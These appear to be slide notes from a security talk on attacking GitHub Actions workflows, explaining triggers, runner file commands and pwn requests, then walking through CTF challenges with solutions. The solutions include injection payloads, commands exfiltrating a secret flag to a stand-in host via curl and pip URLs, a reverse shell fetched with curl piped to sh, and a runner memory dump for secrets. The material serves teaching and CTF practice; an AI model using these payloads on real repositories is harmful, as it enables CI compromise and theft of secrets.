In action
Tristan:
role: Cyber Engineer
Zmx:
Tr4l:
BGTian:
definition:
- github workflow
- github action
- github command
- github runner
- env file
playground:
- ...
opinions: mine, personal
complete sentence: either the doc, or chatGPT
A GitHub Workflow is an automated process that you can set up in your GitHub repository to help streamline and manage processes such as continuous integration, continuous deployment, testing, and more
workflow:
jobs:
first job:
steps:
first step:
second step:
second job:
steps:
another step:
# .github/workflows/example.yml
name: Jobs example
on:
workflow_dispatch:
jobs:
Stuff:
name: Job name
runs-on: self-hosted
steps:
- name: Output a variable
run: |
echo "${{ vars.VARIABLE }}"
# echo "${{ vars.VARIABLE2 }}"
A workflow can consist of one or more jobs, which are executed in parallel or sequentially. Each job runs in its own virtual environment and can be specified to run on different operating systems or configurations.
"steps": [
{
"type": "action",
"reference": {
"type": "script"
},
"displayNameToken": {
[...],
"lit": "Output a variable"
},
"contextName": "__run",
"inputs": {
"type": 2,
"map": [
{
"key": "script",
"value": {
[...],
"expr": "format('echo \"{0}\"\n# echo \"{1}\"\n', vars.VARIABLE, vars.VARIABLE2)"
}
}
]
},
"condition": "success()",
"id": "efaa3446-2c3c-57b8-85a7-177909aad4f8",
"name": "__run"
}
],
...
"contextData": {
"github": {...},
"vars": {
"t": 2,
"d": [
{
"k": "VARIABLE",
"v": "This is a variable"
},
{
"k": "VARIABLE2",
"v": "VARIABLE2"
}
]
},
vars:
secrets:
github:
repository:
event_name:
event:
inputs:
[...]
Workflow:
Jobs:
# Granted to the GH_TOKEN
(Most) GH_TOKEN permissions expire when the workflow/jobs ends.
on:
pull_request:
types:
- assigned
branches:
- 'demo-branch/**'
on:
branch_protection_rule: Runs your workflow when branch protection rules in the workflow repository are changed
check_run: Runs your workflow when activity related to a check run occurs.
check_suite: Runs your workflow when check suite activity occurs.
create: Runs your workflow when someone creates a Git reference (Git branch or tag)
delete: Runs your workflow when someone deletes a Git reference (Git branch or tag)
deployment: Runs your workflow when someone creates a deployment in the workflow's repository.
deployment_status: Runs your workflow when a third party provides a deployment status
discussion: Runs your workflow when a discussion in the workflow's repository is created or modified.
discussion_comment: Runs your workflow when a comment on a discussion in the workflow's repository is created or modified
fork: Runs your workflow when someone forks a repository.
gollum: Runs your workflow when someone creates or updates a Wiki page
issue_comment: Runs your workflow when an issue or pull request comment is created, edited, or deleted
issues: Runs your workflow when an issue in the workflow's repository is created or modified.
label: Runs your workflow when a label in your workflow's repository is created or modified.
merge_group: Runs your workflow when a pull request is added to a merge queue, which adds the pull request to a merge group.
milestone: Runs your workflow when a milestone in the workflow's repository is created or modified.
page_build: Runs your workflow when someone pushes to a branch that is the publishing source for GitHub Pages
public: Runs your workflow when your workflow's repository changes from private to public
pull_request: Runs your workflow when activity on a pull request in the workflow's repository occurs.
pull_request_review: Runs your workflow when a pull request review is submitted, edited, or dismissed
pull_request_review_comment: Runs your workflow when a pull request review comment is modified.
pull_request_target: Runs your workflow when activity on a pull request in the workflow's repository occurs.
push: Runs your workflow when you push a commit or tag, or when you create a repository from a template.
registry_package: Runs your workflow when activity related to GitHub Packages occurs in your repository.
release: Runs your workflow when release activity in your repository occurs.
repository_dispatch: You can use the GitHub API to trigger a webhook event called repository_dispatch
schedule: The schedule event allows you to trigger a workflow at a scheduled time.
status: Runs your workflow when the status of a Git commit changes
watch: Runs your workflow when the workflow's repository is starred.
workflow_call: used to indicate that a workflow can be called by another workflow
workflow_dispatch: To enable a workflow to be triggered manually, you need to configure the workflow_dispatch event.
workflow_run: This event occurs when a workflow run is requested or completed.
GITHUB_TOKEN
has read-only permissions by default. (*)(* Jetlag may apply)
pull_request_target are used in the context (github source code) of the “target” (often main for a PR)
GITHUB_TOKEN
is granted read/write repository permission by defaultThe initial definition of a pwn request, was to fork a repo, change the source code to include some payload, and make the PR that will be executed. Most of the protection we’ve seen before was put in place to reduce this risk.
on:
pull_request:
jobs:
build:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v1
- run: make
Now, pwn request have evolve and may include different trigger and injection
on:
pull_request_target: # Mandatory to have access to secrets (from a fork)
jobs:
build:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
with:
ref: ${{ github.event.pull_request.head.sha }}
- name: SonarQube Scan
uses: SonarSource/sonarqube-scan-action@v4.1.0 # It's just a scan, right ?
env:
SONAR_TOKEN: ${{ secrets.SONAR_TOKEN }}
SONAR_HOST_URL: ${{ vars.SONAR_HOST_URL }}
sonar-project.properties
sonar.scanner.javaExePath=/usr/bin/bash
sonar.scanner.javaOpts=-c ls
In GitHub Actions, an action is a reusable piece of code that performs a specific task within a workflow. Actions can range from simple scripts executing commands to complex functions encapsulating rich functionality, and they help automate various parts of the software development lifecycle.
node:
docker:
composite:
.github: # with some workflow to "build" the action
dist:
- index.js # This one will be executed (most often)
src:
- main.ts # The source code to generate the index.js
action.yml: # The definition of the action
setup job:
check_out:
ref: version
pre: #optional, part of the action that run before your steps
[...] # your job
use: action # run the code inside the action
[...] # your job
post: #optional, part of the action that run after your steps
GITHUB_ENV
Main repository and fork share commits. You can checkout any commit from main on fork, and viceversa.
This can be used on github action, as they checkout the action.
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@dd5cf19253c6870af0024d884c335b9a9757c58f
# This commit came from a fork
TODO
Actions can communicate with the runner machine to set environment variables, output values used by other actions, add debug messages to the output logs, and other tasks.
Most workflow commands use the echo command in a specific format, while others are invoked by writing to a file.
error / warning / notice / debug
group / endgroup
echo
add-mask
stop-commands
Example:
echo "::error file=app.js,line=1,col=5,endColumn=7,title=YOUR-TITLE::Missing semicolon"
internal-set-repo-path: probably internal
set-output: deprecated since october 2022, but still usable
save-state: deprecated since october 2022, but still usable
add-path: deprecated, not usable without ACTIONS_ALLOW_UNSECURE_COMMANDS
set-env: deprecated, not usable without ACTIONS_ALLOW_UNSECURE_COMMANDS
add-matcher: load a file to be used as problem matcher
remove-matcher: remove it
https://github.com/actions/runner/blob/main/src/Runner.Worker/ActionCommandManager.cs
Actual syntax
echo "::workflow-command parameter1={data},parameter2={data}::{command value}"
Previous syntax
echo "##[workflow-command parameter1={data},parameter2={data}]{command value}"
A GitHub Runner is a lightweight, standalone application that runs your GitHub Actions workflows. Runners execute the scripts and commands defined in your workflow files
ubuntu
- ephemeral: true
- docker: true
- sudo: allowed
- software pack: full
GITHUB_ENV: The path to the file that sets env variables from workflow commands.
GITHUB_OUTPUT: ... sets the current step's outputs from workflow commands
GITHUB_PATH: ... sets system PATH variables from workflow commands.
GITHUB_STEP_SUMMARY: ... contains job summaries from workflow commands.
Previous syntax
echo "::set-output name=skip::true"
New syntax
echo "skip=true" > $GITHUB_OUTPUT
parse output: false
trigger:
on:
step: finished
PipelineMapping:
tr4l:
peter-porker:
- PipelineFolder.json
_temp:
- 06ccce58-f8e0-4b75-a0b7-f59e231e3adb.sh
github_workflow:
- event.json
runner_file_commands:
- add_path_f80cf1c7-a37b-4e71-812f-e2bd800958fb
- save_state_f80cf1c7-a37b-4e71-812f-e2bd800958fb
- set_env_f80cf1c7-a37b-4e71-812f-e2bd800958fb
- set_output_f80cf1c7-a37b-4e71-812f-e2bd800958fb
- step_summary_f80cf1c7-a37b-4e71-812f-e2bd800958fb
peter-porker:
peter-porker:
trigger: <trigger>, how can we control the way the workflow is executed
input: <input>, what input we control
- Fixed (path) file write
- file write (full control, append)
- "output" write
exploitation:
- command execution
- business logic corruption
loot:
- secret
- write permission to repo
- rebond
# From: https://github.com/Nebouh/tdf-ctf-cicd/blob/main/.github/workflows/chall1.yml
name: 🔒 Chall 1 - I won't say my password
on:
issue_comment:
types: [created, edited] # trigger
jobs:
chall:
runs-on: ubuntu-latest
steps:
- name: View issue information
run: echo '${{ github.event.comment.body }}' # input
env:
FLAG: ${{ secrets.FLAG }} # loot
PAYLOAD: ???
# From: https://github.com/Nebouh/tdf-ctf-cicd/blob/main/.github/workflows/chall1.yml
name: 🔒 Chall 1 - I won't say my password
on:
issue_comment:
types: [created, edited] # trigger
jobs:
chall:
runs-on: ubuntu-latest
steps:
- name: View issue information
run: echo 'Hi'; echo "${FLAG}" | base32 ;echo 'Here' # input
env:
FLAG: ${{ secrets.FLAG }} # loot
PAYLOAD: Hi'; echo "${FLAG}" | base32 ;echo 'Here
- name: Azure CLI script
uses: azure/cli@v2
with:
inlineScript: echo "mustachable"
- name: Github script
uses: actions/github-script@v7
with:
script: return "I will be mustachable"
semgrep: --config p/github-actions
codeQl:
octoscan: https://github.com/synacktiv/octoscan
poutine: https://github.com/boostsecurityio/poutine
Gato-X: https://github.com/AdnaneKhan/Gato-X
# From: https://github.com/Nebouh/tdf-ctf-cicd/blob/main/.github/workflows/chall2.yml
name: 🔒 Chall 2 - Look mom, i know how to use PIP
on:issue_comment: # Trigger
permissions:contents: write # Loot ?
jobs:
create_release_from_issue:
steps:
- uses: actions/checkout@v4 # Will checkout default branch
- run: |
CLEAN_RELEASE=$(printf '%s' "$COMMENT_CONTENT" | cut -c 1-100)
echo "RELEASE_MESSAGE=$CLEAN_RELEASE" >> $GITHUB_ENV
env:
COMMENT_CONTENT: ${{ github.event.comment.body }}
- name: Run my unit tests
run: |
pip install -r requirements.txt
python3 -m unittest run_tests.py -v
env:
FLAG: ${{ secrets.FLAG }} # another loot !
solutions:
pip_index : |
Not a release :(
PIP_INDEX_URL=https://urlToPackageWithMyVersion/
pip_constraint: |
PIP_CONSTRAINT=https://evil.free.beeceptor.com/constraint.txt
pyyaml@https://evil.free.beeceptor.com/${FLAG}%
pip_requirements: |
PIP_REQUIREMENT="https://exfill.com/requirements.txt"
stuff@https://evil.free.beeceptor.com/${FLAG}%
# From: https://github.com/Nebouh/tdf-ctf-cicd/blob/main/.github/workflows/chall3.yml
name: 🔒 Chall 3 - Look mom, i know how to inject in env
on:issues: # Trigger
jobs:
test:
steps:
- name: Set the intermediate environment variable for security
env:
issue_body: ${{ github.event.issue.body }}
run: |
echo "USERINPUT=$issue_body" >> "$GITHUB_ENV"
- name: Run any unrelated commands in Bash securely
run: |
echo "Hello World !"
env:
FLAG: ${{ secrets.FLAG }} # loot !
solutions:
BASH_ENV : |
Let me do something with this env :)
BASH_ENV='$(curl https://evil.free.beeceptor.com?flag=$FLAG)'
BASH_FUNC: |
Let me do something with this env :)
BASH_FUNC_echo%%=() { builtin echo "$FLAG $@" | base32 ;}
# https://stackoverflow.com/questions/26293949/set-a-bash-function-on-the-environment
# From: https://github.com/Nebouh/tdf-ctf-cicd/blob/main/.github/workflows/chall4.yml
name: 🔒 Chall 4 - Look mom, without env
on:issues: # Trigger
jobs:
test:
steps:
- name: Check my flag is correctly masked
run: "echo Flag: ${{ secrets.FLAG }}" # Loot ?
- name: Unsafe right ?
run: "echo Body: ${{ github.event.issue.body }}"
- name: But whatever
run: "echo Void: "
solutions:
cat it : |
cat ../../_temp/*.sh | base32
(fancy) reverse shell: |
curl -sSf https://sshx.io/get | sh -s run
# From: https://github.com/Nebouh/tdf-ctf-cicd/blob/main/.github/workflows/chall5.yml
name: 🔒 Chall 5 - Look mom, without flag
on: issues: # Trigger
jobs:
test:
steps:
- if: ${{ github.secret_source == 'Actions' }}
name: Check that flag is present
run: |
echo "I got a flag, but you dont"
- name: Unsafe right ?
run: |
echo Body: ${{ github.event.issue.body }}
- if: ${{ github.secret_source == 'None' }} # on PR event, no secret
name: But whatever, you will not see it!
run: |
echo ${{ secrets.FLAG }}
solutions:
dump memory : |
sudo apt-get install -y gdb;
sudo gcore -o k.dump "$(ps ax | grep 'Runner.Listener' | head -n 1 | awk '{print $1}')";
grep -Eao '"[^"]+":\{"value":"[^"]*","isSecret":true\}' k.dump*
(fancy) reverse shell: |
curl -sSf https://sshx.io/get | sh -s run
# Not publish yet, do not share
name: How can I get the flag
on: issues # Trigger
jobs:
test:
steps:
- name: Save body
env:
BODY: ${{ github.event.issue.body }}
run: |
echo "Save body"
echo ${BODY} > /tmp/issue.txt
echo "Check body content"
cat /tmp/issue.txt
- name: Can't touch this
run: |
echo Flag: ${{ secrets.FLAG }}
{
"problemMatcher": [
{
"owner": "tr4l",
"severity":"warning",
// comment it not part of problem match schema
"comment" : "##[add-matcher dummy content]/tmp/issue.txt
another line",
"pattern": [
{
"regexp": "^Flag: (.{3})(.*)$",
"code": 1,
"message": 2
}
]
}
]
}
on: workflow_dispatch OR issues:
jobs:
setup:
outputs:
skip: ${{ steps.validate.outputs.skip }}
steps:
- id: validate
if: github.event_name == 'issues'
env:
TITLE: ${{ github.event.issue.title }}
run: |
echo "Issue title: $TITLE"
echo "::set-output name=skip::true"
sensitive:
needs:
setup
if: ${{ needs.setup.outputs.skip != 'true' }}
steps:
- run: echo "${{ vars.CLEAR_FLAG }}" # Simulated loot
use: stop-commands
result: set-out is not executed
on: workflow_dispatch OR issues:
jobs:
setup:
outputs:
skip: ${{ steps.validate.outputs.skip }}
steps:
- id: validate
if: github.event_name == 'issues'
env:
TITLE: ${{ github.event.issue.title }}
run: |
echo "Issue title: $TITLE"
echo "skip=true" > $GITHUB_OUTPUT # Do not run next jobs on issue
sensitive:
needs:
setup
if: ${{ needs.setup.outputs.skip != 'true' }}
steps:
- run: echo "${{ vars.CLEAR_FLAG }}" # Simulated loot
use: ##[add-mask]true
impact: "true", is now a secret
result: GH will prevent you to put secret in output =)
jobs:
validate json input:
steps:
- run: |
if jq '.' data.json; then
echo "error=false" >> $GITHUB_OUTPUT
else
echo "error=true" >> $GITHUB_OUTPUT
echo "message=Json input is not valid" >> $GITHUB_OUTPUT
fi
error-handling:
steps:
- run: |
if [[ "${{ needs.setup.outputs.error}}" == "true" ]]; then
./sendReport -m '${{ needs.setup.outputs.message}}'
exit 1; #put the step in red, and prevent next step to be executed
fi
name: Homework - 2025
on:
issues
jobs:
test:
runs-on: windows-latest
steps:
- run: echo "$env:TITLE"
env:
TITLE: ${{ github.event.issue.title }}
- run: "echo Flag: ${{ secrets.FLAG }}"